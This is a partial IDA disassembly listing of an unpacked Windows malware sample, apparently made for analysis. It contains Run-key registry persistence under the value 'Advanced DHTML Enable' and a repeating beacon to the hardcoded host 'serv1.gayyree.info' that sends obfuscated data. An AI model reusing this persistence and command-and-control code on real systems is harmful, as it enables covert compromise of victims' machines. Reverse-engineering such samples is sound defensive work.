;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D680890333B0B044FA24B1BB916E4AFC

; File Name   :	u:\work\d680890333b0b044fa24b1bb916e4afc_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00119000 (1150976.)
; Section size in file		: 00119000 (1150976.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_packed		segment	para public 'CODE' use32
		assume cs:_packed
		;org 401000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; CODE XREF: sub_4017F0+DFCp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_401010
		mov	eax, 7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401010:				; CODE XREF: sub_401000+7j
		mov	dword ptr [esi+10h], 0
		mov	dword_409A70, 0
		mov	ecx, [esi+8]
		lea	eax, [esi+28h]
		push	10h
		push	eax
		push	ecx
		call	sub_40288A
		test	eax, eax
		jz	short loc_40106C
		call	sub_402884
		cmp	eax, 2748h
		jz	short loc_40106C
		call	sub_402884
		cmp	eax, 2735h
		jz	short loc_401062
		call	sub_402884
		cmp	eax, 2733h
		jz	short loc_401062
		mov	eax, 2
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401062:				; CODE XREF: sub_401000+4Aj
					; sub_401000+56j
		mov	eax, 6
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40106C:				; CODE XREF: sub_401000+32j
					; sub_401000+3Ej
		mov	dword ptr [esi+0Ch], 0
		xor	eax, eax
		pop	esi
		retn
sub_401000	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401080	proc near		; CODE XREF: sub_4017F0+742p
					; sub_4017F0+9C0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		test	ebx, ebx
		mov	[esp+10h+var_4], edi
		jnz	short loc_40109F
		pop	edi
		pop	esi
		mov	eax, 7
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40109F:				; CODE XREF: sub_401080+13j
		push	6
		push	edi
		push	2
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+24h], 0
		call	sub_402896
		test	eax, eax
		mov	[ebx+8], eax
		jge	short loc_4010CB
		mov	eax, 3
		pop	edi
		mov	[ebx+0Ch], eax
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4010CB:				; CODE XREF: sub_401080+3Cj
		mov	esi, [esp+10h+arg_4]
		push	esi
		call	sub_402866
		test	eax, eax
		jz	short loc_4010EF
		push	esi
		call	sub_402866
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4010EF
		push	esi
		call	sub_402866
		mov	[ebx+2Ch], eax
		jmp	short loc_40111D
; ---------------------------------------------------------------------------


loc_4010EF:				; CODE XREF: sub_401080+57j
					; sub_401080+62j
		push	esi
		call	sub_402860
		test	eax, eax
		jnz	short loc_401103
		mov	[ebx+0Ch], edi
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401103:				; CODE XREF: sub_401080+77j
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		mov	edx, ecx
		lea	edi, [ebx+2Ch]
		mov	esi, [eax]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_40111D:				; CODE XREF: sub_401080+6Dj
		mov	eax, [esp+10h+arg_8]
		mov	word ptr [ebx+28h], 2
		push	eax
		call	sub_40287E
		mov	edx, [ebx+8]
		lea	ecx, [esp+10h+var_4]
		push	ecx
		push	8004667Eh
		push	edx
		mov	[ebx+2Ah], ax
		call	sub_402890
		pop	edi
		mov	dword ptr [ebx+0Ch], 0
		pop	esi
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
sub_401080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401160	proc near		; CODE XREF: sub_4017F0+3A3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	edi
		test	ebx, ebx
		jz	short loc_4011D3
		mov	ebp, [esp+0Ch+arg_4]
		test	ebp, ebp
		jz	short loc_4011D3
		push	esi
		mov	ecx, 0Fh
		mov	esi, ebx
		mov	edi, ebp
		mov	dword ptr [ebx+10h], 0
		lea	eax, [esp+10h+arg_0]
		rep movsd
		mov	edx, [ebx+8]
		lea	ecx, [ebp+28h]
		push	eax
		push	ecx
		push	edx
		mov	[esp+1Ch+arg_0], 10h
		call	sub_40289C
		test	eax, eax
		pop	esi
		jge	short loc_4011BC
		mov	ecx, 0Fh
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		mov	eax, 6
		pop	edi
		mov	[ebx+0Ch], eax
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4011BC:				; CODE XREF: sub_401160+43j
		mov	[ebp+8], eax
		mov	eax, [esp+0Ch+arg_0]
		pop	edi
		mov	[ebx+10h], eax
		mov	dword ptr [ebx+0Ch], 0
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4011D3:				; CODE XREF: sub_401160+9j
					; sub_401160+11j
		pop	edi
		pop	ebp
		mov	eax, 7
		pop	ebx
		retn
sub_401160	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4011E0	proc near		; CODE XREF: sub_4017F0+254p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		mov	esi, [esp+8+arg_0]
		test	esi, esi
		mov	[esp+8+var_4], 1
		jnz	short loc_4011FA
		mov	eax, 7
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4011FA:				; CODE XREF: sub_4011E0+10j
		push	6
		push	1
		push	2
		mov	dword ptr [esi+10h], 0
		call	sub_402896
		test	eax, eax
		mov	[esi+8], eax
		jge	short loc_40121E
		mov	eax, 3
		mov	[esi+0Ch], eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40121E:				; CODE XREF: sub_4011E0+31j
		mov	eax, [esp+8+arg_4]
		push	edi
		lea	edi, [esi+28h]
		push	eax
		mov	dword ptr [esi+2Ch], 0
		mov	word ptr [edi],	2
		call	sub_40287E
		mov	ecx, [esi+8]
		push	10h
		push	edi
		push	ecx
		mov	[esi+2Ah], ax
		call	sub_402878
		test	eax, eax
		pop	edi
		jge	short loc_401258
		mov	eax, 4
		mov	[esi+0Ch], eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401258:				; CODE XREF: sub_4011E0+6Bj
		mov	edx, [esi+8]
		push	47D4h
		push	edx
		call	sub_4028A2
		test	eax, eax
		jge	short loc_401275
		mov	eax, 5
		mov	[esi+0Ch], eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401275:				; CODE XREF: sub_4011E0+88j
		mov	ecx, [esi+8]
		lea	eax, [esp+8+var_4]
		push	eax
		push	8004667Eh
		push	ecx
		call	sub_402890
		mov	dword ptr [esi+0Ch], 0
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
sub_4011E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4012A0	proc near		; CODE XREF: sub_4013E0+8Dp
					; sub_4017F0+49Dp ...

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 110h
		push	ebx
		mov	ebx, [esp+114h+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		mov	[esp+120h+var_108], 0
		jnz	short loc_4012CD
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 7
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_4012CD:				; CODE XREF: sub_4012A0+1Bj
		mov	eax, [ebx+24h]
		mov	esi, [esp+120h+arg_8]
		add	eax, esi
		push	eax
		call	sub_4028C6
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	loc_4013D5
		mov	edi, [ebx+24h]
		mov	ecx, esi
		mov	esi, [esp+120h+arg_4]
		mov	edx, ecx
		add	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		xor	edx, edx
		and	ecx, 3
		rep movsb
		mov	esi, [ebx+1Ch]
		cmp	esi, edx
		jz	short loc_401340
		mov	ecx, [ebx+24h]
		mov	edi, ebp
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+1Ch]
		cmp	eax, edx
		jz	short loc_40133D
		push	eax
		call	sub_402B18
		add	esp, 4
		mov	dword ptr [ebx+1Ch], 0
		xor	edx, edx


loc_40133D:				; CODE XREF: sub_4012A0+89j
		mov	[ebx+1Ch], edx


loc_401340:				; CODE XREF: sub_4012A0+6Fj
		mov	esi, [esp+120h+arg_8]
		mov	eax, [ebx+24h]
		xor	ecx, ecx
		add	esi, eax
		mov	eax, [ebx+8]
		mov	[esp+120h+var_110], ecx
		mov	[esp+120h+var_10C], ecx
		lea	ecx, [esp+120h+var_110]
		push	ecx
		lea	ecx, [esp+124h+var_104]
		mov	[esp+124h+var_100], eax
		push	edx
		push	ecx
		inc	eax
		push	edx
		push	eax
		mov	[ebx+24h], edx
		mov	[esp+134h+var_104], 1
		mov	[esp+134h+var_110], edx
		mov	[esp+134h+var_10C], edx
		call	sub_402872
		test	eax, eax
		jle	short loc_4013A4
		xor	edi, edi
		mov	[ebx+10h], edi
		mov	dword_409A70, edi
		mov	edx, [ebx+8]
		push	edi
		push	esi
		push	ebp
		push	edx
		call	sub_4028A8
		cmp	eax, esi
		jnb	short loc_4013C4
		jmp	short loc_4013A8
; ---------------------------------------------------------------------------


loc_4013A4:				; CODE XREF: sub_4012A0+E5j
		mov	eax, [esp+120h+var_108]


loc_4013A8:				; CODE XREF: sub_4012A0+102j
		mov	[ebx+10h], eax
		mov	[ebx+24h], esi
		mov	eax, 6
		pop	edi
		mov	[ebx+1Ch], ebp
		pop	esi
		mov	[ebx+0Ch], eax
		pop	ebp
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_4013C4:				; CODE XREF: sub_4012A0+100j
		push	ebp
		mov	[ebx+10h], eax
		mov	[ebx+0Ch], edi
		call	sub_402B18
		add	esp, 4
		xor	eax, eax


loc_4013D5:				; CODE XREF: sub_4012A0+46j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 110h
		retn
sub_4012A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E0	proc near		; CODE XREF: sub_4017F0+E80p
					; sub_4017F0+F3Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		push	edi
		mov	esi, 0BBBh


loc_4013E7:				; CODE XREF: sub_4013E0+72j
		mov	eax, dword_409A64
		test	eax, eax
		jz	short loc_401403
		push	eax
		call	sub_402B18
		add	esp, 4
		mov	dword_409A64, 0


loc_401403:				; CODE XREF: sub_4013E0+Ej
		lea	eax, [esi+1]
		push	eax
		call	sub_4028C6
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	dword_409A64, edi
		jz	short loc_401498
		mov	ecx, esi
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		lea	edx, [esi-2]
		and	ecx, 3
		rep stosb
		mov	ecx, [esp+8+arg_4]
		lea	eax, [esp+8+arg_8]
		push	eax
		mov	eax, dword_409A64
		push	ecx
		push	edx
		push	eax
		call	sub_402B47
		add	esp, 10h
		add	esi, 3E8h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013E7
		mov	edx, dword_409A64
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	edx
		push	ecx
		call	sub_4012A0
		mov	esi, eax
		mov	eax, dword_409A64
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401493
		push	eax
		call	sub_402B18
		add	esp, 4
		mov	dword_409A64, 0


loc_401493:				; CODE XREF: sub_4013E0+9Ej
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401498:				; CODE XREF: sub_4013E0+39j
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_4013E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4014A0	proc near		; CODE XREF: sub_4017F0+4DCp
					; sub_4017F0+C43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		jnz	short loc_4014B2
		pop	edi
		mov	eax, 7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4014B2:				; CODE XREF: sub_4014A0+8j
		mov	edi, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		mov	ecx, [esi+8]
		push	0
		push	edi
		push	eax
		push	ecx
		mov	dword ptr [esi+10h], 0
		call	sub_4028AE
		test	eax, eax
		jge	short loc_4014E9
		call	sub_402884
		cmp	eax, 2734h
		jnz	short loc_4014EF
		mov	eax, 6
		pop	edi
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4014E9:				; CODE XREF: sub_4014A0+30j
		jnz	short loc_4014FA
		test	edi, edi
		jz	short loc_4014FA


loc_4014EF:				; CODE XREF: sub_4014A0+3Cj
		mov	eax, 8
		pop	edi
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4014FA:				; CODE XREF: sub_4014A0:loc_4014E9j
					; sub_4014A0+4Dj
		mov	[esi+10h], eax
		mov	dword ptr [esi+0Ch], 0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
sub_4014A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401510	proc near		; CODE XREF: sub_401790+26p
					; sub_401790+3Ep ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jnz	short loc_401524
		pop	edi
		mov	eax, 7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401524:				; CODE XREF: sub_401510+Aj
		mov	eax, [edi+8]
		mov	[edi+10h], esi
		push	eax
		call	sub_4028B4
		test	eax, eax
		jge	short loc_40153F
		mov	eax, 8
		mov	[edi+0Ch], eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40153F:				; CODE XREF: sub_401510+22j
		mov	eax, [edi+1Ch]
		mov	[edi+8], esi
		cmp	eax, esi
		mov	[edi+0Ch], esi
		jz	short loc_401558
		push	eax
		call	sub_402B18
		add	esp, 4
		mov	[edi+1Ch], esi


loc_401558:				; CODE XREF: sub_401510+3Aj
		mov	eax, [edi+20h]
		cmp	eax, esi
		jz	short loc_40156B
		push	eax
		call	sub_402B18
		add	esp, 4
		mov	[edi+20h], esi


loc_40156B:				; CODE XREF: sub_401510+4Dj
		mov	ecx, 0Fh
		xor	eax, eax
		rep stosd
		pop	edi
		pop	esi
		retn
sub_401510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401580	proc near		; CODE XREF: sub_4016E0+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jnz	short loc_401592
		pop	esi
		mov	eax, 7
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401592:				; CODE XREF: sub_401580+8j
		push	11h
		push	2
		push	2
		mov	dword ptr [ebx+10h], 0
		call	sub_402896
		test	eax, eax
		mov	[ebx+8], eax
		jge	short loc_4015B6
		mov	eax, 3
		pop	esi
		mov	[ebx+0Ch], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4015B6:				; CODE XREF: sub_401580+29j
		mov	esi, [esp+8+arg_4]
		push	esi
		call	sub_402866
		test	eax, eax
		jz	short loc_4015DA
		push	esi
		call	sub_402866
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015DA
		push	esi
		call	sub_402866
		mov	[ebx+2Ch], eax
		jmp	short loc_40160B
; ---------------------------------------------------------------------------


loc_4015DA:				; CODE XREF: sub_401580+42j
					; sub_401580+4Dj
		push	esi
		call	sub_402860
		test	eax, eax
		jnz	short loc_4015EF
		mov	eax, 1
		pop	esi
		mov	[ebx+0Ch], eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4015EF:				; CODE XREF: sub_401580+62j
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		mov	edx, ecx
		push	edi
		lea	edi, [ebx+2Ch]
		mov	esi, [eax]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi


loc_40160B:				; CODE XREF: sub_401580+58j
		mov	eax, [esp+8+arg_8]
		mov	word ptr [ebx+28h], 2
		push	eax
		call	sub_40287E
		mov	[ebx+2Ah], ax
		mov	dword ptr [ebx+0Ch], 0
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
sub_401580	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401630	proc near		; CODE XREF: sub_4016E0+8Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_401640
		mov	eax, 7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401640:				; CODE XREF: sub_401630+7j
		mov	ecx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		lea	eax, [esi+28h]
		push	10h
		mov	dword ptr [esi+10h], 0
		push	eax
		mov	dword_409A70, 0
		mov	eax, [esi+8]
		push	0
		push	ecx
		push	edx
		push	eax
		call	sub_4028BA
		test	eax, eax
		jg	short loc_401690
		call	sub_402884
		cmp	eax, 2734h
		jnz	short loc_401686
		mov	eax, 6
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401686:				; CODE XREF: sub_401630+4Aj
		mov	eax, 8
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_401690:				; CODE XREF: sub_401630+3Ej
		mov	[esi+10h], eax
		mov	dword ptr [esi+0Ch], 0
		xor	eax, eax
		pop	esi
		retn
sub_401630	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4016A0	proc near		; CODE XREF: sub_4016E0+97p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4016B0
		mov	eax, 7
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4016B0:				; CODE XREF: sub_4016A0+7j
		mov	eax, [esi+8]
		mov	dword ptr [esi+10h], 0
		push	eax
		call	sub_4028B4
		test	eax, eax
		jge	short loc_4016CE
		mov	eax, 8
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4016CE:				; CODE XREF: sub_4016A0+22j
		mov	dword ptr [esi+8], 0
		mov	dword ptr [esi+0Ch], 0
		xor	eax, eax
		pop	esi
		retn
sub_4016A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4016E0	proc near		; DATA XREF: sub_4017F0+26Bo

var_13C		= byte ptr -13Ch
var_100		= byte ptr -100h

		sub	esp, 13Ch
		push	esi
		mov	esi, dword_40804C
		push	edi


loc_4016EE:				; CODE XREF: sub_4016E0+A6j
		push	47D4h
		lea	eax, [esp+148h+var_13C]
		push	offset aServ1_gayyree_ ; "serv1.gayyree.info"
		push	eax
		call	sub_401580
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40177F
		xor	ecx, ecx
		lea	edx, [esp+144h+var_100]
		mov	cx, word_409CFC
		push	ecx
		push	offset dword_409030
		push	edx
		call	sub_402B97
		lea	edi, [esp+150h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		xor	edx, edx
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_401754


loc_401737:				; CODE XREF: sub_4016E0+72j
		mov	al, [esp+edx+144h+var_100]
		lea	edi, [esp+144h+var_100]
		shl	al, 1
		mov	[esp+edx+144h+var_100],	al
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jb	short loc_401737


loc_401754:				; CODE XREF: sub_4016E0+55j
		lea	edi, [esp+144h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+144h+var_13C]
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+148h+var_100]
		push	ecx
		push	edx
		call	sub_401630
		lea	eax, [esp+150h+var_13C]
		push	eax
		call	sub_4016A0
		add	esp, 10h


loc_40177F:				; CODE XREF: sub_4016E0+27j
		push	0DBBA0h
		call	esi
		jmp	loc_4016EE
sub_4016E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401790	proc near		; CODE XREF: .packed:0040282Dp

var_10C		= byte ptr -10Ch
var_100		= byte ptr -100h

		sub	esp, 100h
		lea	eax, [esp+100h+var_100]
		push	esi
		push	100h
		push	eax
		push	0
		call	dword_408054
		mov	esi, offset dword_409D00


loc_4017AE:				; CODE XREF: sub_401790+37j
		mov	eax, [esi+8]
		test	eax, eax
		jle	short loc_4017BE
		push	esi
		call	sub_401510
		add	esp, 4


loc_4017BE:				; CODE XREF: sub_401790+23j
		add	esi, 3Ch
		cmp	esi, offset dword_5172B0
		jl	short loc_4017AE
		push	offset dword_5172C0
		call	sub_401510
		add	esp, 4
		lea	ecx, [esp+110h+var_10C]
		push	0
		push	ecx
		call	dword_408050
		push	0
		call	sub_402967
		pop	esi
		nop
		nop
		nop
		nop
		nop
sub_401790	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4017F0	proc near		; CODE XREF: sub_402EE0+C9p

var_22E8	= dword	ptr -22E8h
var_22E4	= dword	ptr -22E4h
var_22E0	= dword	ptr -22E0h
var_22DC	= dword	ptr -22DCh
var_22D8	= dword	ptr -22D8h
var_22D4	= dword	ptr -22D4h
var_22D0	= byte ptr -22D0h
var_12D0	= dword	ptr -12D0h
var_12CC	= dword	ptr -12CCh
var_12C8	= byte ptr -12C8h
var_11C8	= dword	ptr -11C8h
var_11C4	= dword	ptr -11C4h
var_11C0	= byte ptr -11C0h
var_10C0	= dword	ptr -10C0h
var_10BC	= dword	ptr -10BCh
var_FBC		= dword	ptr -0FBCh
var_FB8		= dword	ptr -0FB8h
var_EB8		= dword	ptr -0EB8h
var_EB4		= dword	ptr -0EB4h
var_EB0		= dword	ptr -0EB0h
var_EAB		= byte ptr -0EABh
var_EAA		= byte ptr -0EAAh
var_EA9		= dword	ptr -0EA9h
var_2F4		= byte ptr -2F4h
var_1F4		= byte ptr -1F4h
var_1F3		= byte ptr -1F3h
var_1F2		= byte ptr -1F2h
var_1F1		= byte ptr -1F1h
var_1F0		= byte ptr -1F0h
var_1EF		= byte ptr -1EFh
var_1EE		= byte ptr -1EEh
var_1ED		= byte ptr -1EDh
var_1EC		= byte ptr -1ECh
var_1EB		= byte ptr -1EBh
var_1EA		= byte ptr -1EAh
var_1E9		= byte ptr -1E9h
var_1E8		= byte ptr -1E8h
var_1E7		= byte ptr -1E7h
var_1E6		= byte ptr -1E6h
var_1E5		= byte ptr -1E5h
var_1E4		= byte ptr -1E4h
var_1E3		= byte ptr -1E3h
var_1E2		= byte ptr -1E2h
var_1E1		= byte ptr -1E1h
var_1E0		= byte ptr -1E0h
var_1DF		= byte ptr -1DFh
var_1DE		= byte ptr -1DEh
var_1DD		= byte ptr -1DDh
var_1DC		= byte ptr -1DCh
var_1DB		= byte ptr -1DBh
var_1DA		= byte ptr -1DAh
var_1D9		= byte ptr -1D9h
var_1D8		= byte ptr -1D8h
var_1D7		= byte ptr -1D7h
var_1D6		= byte ptr -1D6h
var_1D5		= byte ptr -1D5h
var_1D4		= byte ptr -1D4h
var_1D3		= byte ptr -1D3h
var_1D2		= byte ptr -1D2h
var_1D1		= byte ptr -1D1h
var_1D0		= byte ptr -1D0h
var_1CF		= byte ptr -1CFh
var_1CE		= byte ptr -1CEh
var_1CD		= byte ptr -1CDh
var_1CC		= byte ptr -1CCh
var_1CB		= byte ptr -1CBh
var_1CA		= byte ptr -1CAh
var_1C9		= byte ptr -1C9h
var_1C8		= byte ptr -1C8h
var_1C7		= byte ptr -1C7h
var_1C4		= byte ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= dword	ptr -1BCh
var_1B8		= dword	ptr -1B8h
var_1AC		= byte ptr -1ACh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_408128
		push	offset sub_402E08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		mov	eax, 22D0h
		call	sub_402CE0
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0
		mov	[ebp+var_1F4], 53h
		mov	[ebp+var_1F3], 4Fh
		mov	[ebp+var_1F2], 46h
		mov	[ebp+var_1F1], 54h
		mov	al, 57h
		mov	[ebp+var_1F0], al
		mov	[ebp+var_1EF], 41h
		mov	[ebp+var_1EE], 52h
		mov	[ebp+var_1ED], 45h
		mov	bl, 5Ch
		mov	[ebp+var_1EC], bl
		mov	[ebp+var_1EB], 4Dh
		mov	[ebp+var_1EA], 69h
		mov	[ebp+var_1E9], 63h
		mov	dl, 72h
		mov	[ebp+var_1E8], dl
		mov	cl, 6Fh
		mov	[ebp+var_1E7], cl
		mov	[ebp+var_1E6], 73h
		mov	[ebp+var_1E5], cl
		mov	[ebp+var_1E4], 66h
		mov	[ebp+var_1E3], 74h
		mov	[ebp+var_1E2], bl
		mov	[ebp+var_1E1], al
		mov	[ebp+var_1E0], 69h
		mov	al, 6Eh
		mov	[ebp+var_1DF], al
		mov	[ebp+var_1DE], 64h
		mov	[ebp+var_1DD], cl
		mov	[ebp+var_1DC], 77h
		mov	[ebp+var_1DB], 73h
		mov	[ebp+var_1DA], bl
		mov	[ebp+var_1D9], 43h
		mov	[ebp+var_1D8], 75h
		mov	[ebp+var_1D7], dl
		mov	[ebp+var_1D6], dl
		mov	[ebp+var_1D5], 65h
		mov	[ebp+var_1D4], al
		mov	[ebp+var_1D3], 74h
		mov	[ebp+var_1D2], 56h
		mov	[ebp+var_1D1], 65h
		mov	[ebp+var_1D0], dl
		mov	[ebp+var_1CF], 73h
		mov	[ebp+var_1CE], 69h
		mov	[ebp+var_1CD], cl
		mov	[ebp+var_1CC], al
		mov	[ebp+var_1CB], bl
		mov	[ebp+var_1CA], 52h
		mov	[ebp+var_1C9], 75h
		mov	[ebp+var_1C8], al
		mov	[ebp+var_1C7], 0
		lea	eax, [ebp+var_1C0]
		push	eax
		push	20006h
		push	0
		lea	ecx, [ebp+var_1F4]
		push	ecx
		push	80000002h
		call	dword_408004
		test	eax, eax
		jnz	short loc_4019C5
		push	100h
		lea	edx, [ebp+var_2F4]
		push	edx
		push	eax
		call	dword_408054
		lea	edi, [ebp+var_2F4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	eax, [ebp+var_2F4]
		push	eax
		push	1
		push	0
		push	offset aAdvancedDhtmlE ; "Advanced DHTML Enable"
		mov	ecx, [ebp+var_1C0]
		push	ecx
		call	dword_408000


loc_4019C5:				; CODE XREF: sub_4017F0+193j
		lea	edx, [ebp+var_1AC]
		push	edx
		push	202h
		call	sub_4028C0
		push	0
		call	sub_402A3C
		add	esp, 4
		mov	esi, eax
		call	dword_40805C
		imul	esi, eax
